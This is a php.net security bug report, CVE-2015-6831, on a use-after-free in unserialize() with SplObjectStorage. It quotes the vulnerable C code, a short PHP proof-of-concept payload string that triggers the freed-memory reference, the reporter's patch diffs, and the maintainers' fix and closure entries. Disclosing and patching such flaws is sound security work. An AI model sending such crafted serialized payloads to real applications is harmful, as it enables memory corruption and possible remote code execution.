php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70168 Use After Free Vulnerability in unserialize() with SplObjectStorage
Submitted: 2015-07-30 10:52 UTC Modified: 2015-09-09 10:05 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: 2015-6831
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-07-30 10:52 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported a similar bug in BUG#70166

```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pcount);
	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
		goto outexcept;
	}

	--p; /* for ';' */
	count = Z_LVAL_P(pcount);
...
	/* done reading $serialized */
	if (pcount) {
		zval_ptr_dtor(&pcount);  <=== free memory
	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;
```

&pcount was be freed, but we can use that already freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:

```
$inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-30 10:58 UTC] taoguangchen at icloud dot com
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..ccf10c5 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
@@ -880,7 +882,7 @@ SPL_METHOD(SplObjectStorage, unserialize)
 			if(pelement->obj) {
 				var_push_dtor(&var_hash, &pelement->obj);
 			}
-		} 
+		}
 		spl_object_storage_attach(intern, getThis(), pentry, pinf TSRMLS_CC);
 		zval_ptr_dtor(&pentry);
 		zval_ptr_dtor(&pinf);
 [2015-07-30 11:01 UTC] taoguangchen at icloud dot com
update a new patch:

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..02d1434 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
 [2015-07-30 12:19 UTC] taoguangchen at icloud dot com
update a new patch for another UaF (test on 5.4 series):

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..195bc72 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
@@ -902,6 +904,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-09-09 10:05 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6831
 [2015-09-09 10:05 UTC] kaplan@php.net
Shared CVE between bugs #70155, #70166, #70168 and #70169.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC